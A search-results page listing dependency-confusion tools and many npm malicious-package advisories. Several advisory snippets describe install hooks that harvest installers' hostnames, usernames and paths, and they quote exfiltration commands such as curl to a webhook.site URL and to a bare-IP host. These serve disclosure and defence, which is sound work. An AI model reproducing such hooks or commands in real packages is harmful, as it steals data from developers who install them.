3577 matches found
DepFuzzer
DepFuzzer DepFuzzer es una herramienta utilizada para encontrar confusiรณn de dependencias o proyectos donde el correo electrรณnico del propietario puede ser secuestrado. Instalar la herramienta /!\ Esta herramienta requiere python = 3.10 /!\ root@kitploit: $ python3 -m venv .venv $ source...
combobulator
Dependency Combobulator Dependency Combobulator ๆฏไธไธชๅผๆบใๆจกๅๅใๅฏๆฉๅฑ็ๆกๆถ๏ผ็จไบๆฃๆตๅ้ฒๆญขไพ่ตๆททๆทๆณ้ฒๅๆฝๅจๆปๅปใๅฎๆไพไบไธ็งๆดไฝๆง็ๆนๆณ๏ผ็กฎไฟๅฎๅ จ็ๅบ็จๅๅธ๏ผๅนถ่ฝ้ๅฏนไธๅๆฅๆบ๏ผๅฆ GitHub PackagesใJFrog Artifactory๏ผๅๅค็งๅ ็ฎก็ๆนๆก๏ผๅฆ npmใmaven๏ผ่ฟ่ก่ฏไผฐใ ็ฎๆ ๅไผ ่ฏฅๆกๆถๅฏไพๅฎๅ จๅฎก่ฎกไบบๅใๆธ้ๆต่ฏไบบๅไฝฟ็จ๏ผ็่ณๅฏไปฅ่ชๅจๅๅฐๅตๅ ฅไผไธๅบ็จๅฎๅ จ็จๅบๅๅๅธๆต็จไธญใ ไธป่ฆ็นๆง ๅฏๆๆ - ๅฏๅจ SDLC ็ๆไบคใๆๅปบใๅๅธ้ถๆฎตไปๅ ฅใ ๅฏๆฉๅฑ - ่ฝปๆพๆทปๅ ๆจ่ชๅทฑ็ๅ ็ฎก็ๆนๆกๆไปฃ็ ๆฅๆบใ ้็จๅฏๅๅผๅผ...
Supply-Chain
Sicurezza della Catena di Fornitura Software Una serie completa di tre libri sulla sicurezza della catena di fornitura software, che copre minacce, difese e governance. Questo manoscritto open-source fornisce a professionisti della sicurezza, sviluppatori e leader organizzativi una guida pratica...
confused
Confused A tool for checking for lingering free namespaces for private package names referenced in dependency configuration for Python pypi requirements.txt, JavaScript npm package.json, PHP composer composer.json or MVN maven pom.xml. What is this all about? On 9th of February 2021, a security...
confused
Confused Uno strumento per verificare la presenza di namespace liberi per nomi di pacchetti privati menzionati nella configurazione delle dipendenze per Python pypi requirements.txt, JavaScript npm package.json, PHP composer composer.json o MVN maven pom.xml. Di cosa si tratta? Il 9 febbraio 2021...
linux-root-kit
About This Project Questo progetto รจ stato sviluppato nell'ambito del corso Digitale Forensik presso la Technische Hochschule Deggendorf. Dimostra un'indagine forense completa e una simulazione di attacco che coinvolgono: Un attacco di dependency confusion in Python che utilizza un pacchetto PyPI...
Malicious code in digitalexp-style-module-l9 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4c1b3e9059995d4d535c65fafd0105eea420510acb17ad9befbc99c18aa25df9 package.json declares both preinstall and postinstall as node beacon.js, so beacon.js runs automatically on every npm install. beacon.js reads...
Malicious code in @medisend/core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 18f32429d1bfdc9438f2f03f531e5c2fef53e0e69104e3124499cf6f42ce52a1 package.json declares a postinstall lifecycle script that runs curl against https://webhook.site/ with the installer's hostname appended as a query...
Malicious code in paypal-business-sdk (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 556bfd93652f806523495944dc8a441624c9a2dae4f76eadeefa9650f57091a1 The package's npm preinstall lifecycle script collects the installer's OS username, hostname, current working directory, and walks up to 15 parent...
Malicious code in manticore-log (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 184c02a26613b94b15f0abe1ed108c7a2a7a061f795213dba4772876e6e0a015 The package's preinstall lifecycle script fires automatically on npm install and collects the installer's OS username, hostname, current working...
Malicious code in web-advertising (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc7c0c1f060691740d5149c61d74f3ddd8f6e10107c7621d700ae0819a1e2237 [email protected] declares scripts.preinstall = 'node index.js', so index.js executes automatically on npm install. The script collects...
MAL-2026-14424 Malicious code in @medisend/webview-bridge (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ddf4b396c306b8f8d090b929c265b8ae848c75e53b9750d6f68800a4deefe9a2 package.json declares a postinstall lifecycle script that runs curl to https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97 with query parameter...
Malicious code in @medisend/webview-bridge (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ddf4b396c306b8f8d090b929c265b8ae848c75e53b9750d6f68800a4deefe9a2 package.json declares a postinstall lifecycle script that runs curl to https://webhook.site/74ed1be3-96d6-48c3-932b-6b1dbabaff97 with query parameter...
MAL-2026-14390 Malicious code in amundi-compare (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc0f77ca83947d2af9978911d3a4da11af6a6a4773268f662291180c27b6f38 [email protected] is published at an inflated version number consistent with dependency-confusion targeting of an internal package name. The...
MAL-2026-14391 Malicious code in fund-calculator (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52c5f9f0536151a173aa211b9b5f2972e68aee3043132adccdb3695947b16672 Package declares a preinstall script node index.js that fires unconditionally on npm install. index.js reads installer-side identifiers via...
MAL-2026-14394 Malicious code in sm-apikey-model (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d8e5a8bc4d985b445afbc71bd563bcee445381d2539a7110a0ca53d54b800367 package.json declares preinstall and postinstall lifecycle scripts that invoke curl over plain HTTP to a hardcoded bare-IP endpoint...
Malicious code in sm-checkout (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc8dabb0ecf46dc57dd07dacdf28c9cddf629ffb8e9b0cea75e71cd999feaf0 [email protected] declares preinstall and postinstall lifecycle scripts in package.json that invoke curl against a hardcoded bare-IP URL over plain...
MAL-2026-14397 Malicious code in sm-checkout (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc8dabb0ecf46dc57dd07dacdf28c9cddf629ffb8e9b0cea75e71cd999feaf0 [email protected] declares preinstall and postinstall lifecycle scripts in package.json that invoke curl against a hardcoded bare-IP URL over plain...
MAL-2026-14400 Malicious code in sm-session (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24 package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s...
Malicious code in sm-admin (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fa2741ebbd0df8c6f349a4d34361cc3d814fe878f3f4521fd771a855cfdc152b Package [email protected] defines preinstall and postinstall lifecycle scripts that issue plain-HTTP GET requests to a hardcoded bare-IP endpoint at...